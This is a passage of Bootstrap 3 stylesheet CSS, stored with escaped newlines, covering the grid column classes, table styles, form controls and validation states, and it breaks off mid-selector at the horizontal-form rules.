91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0%;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #ddd;\n}\n.table .table {\n background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #ddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #fff;\n background-image: none;\n border: 1px solid #ccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999;\n}\n.form-control::-ms-expand {\n border: 0;\n background-color: transparent;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal 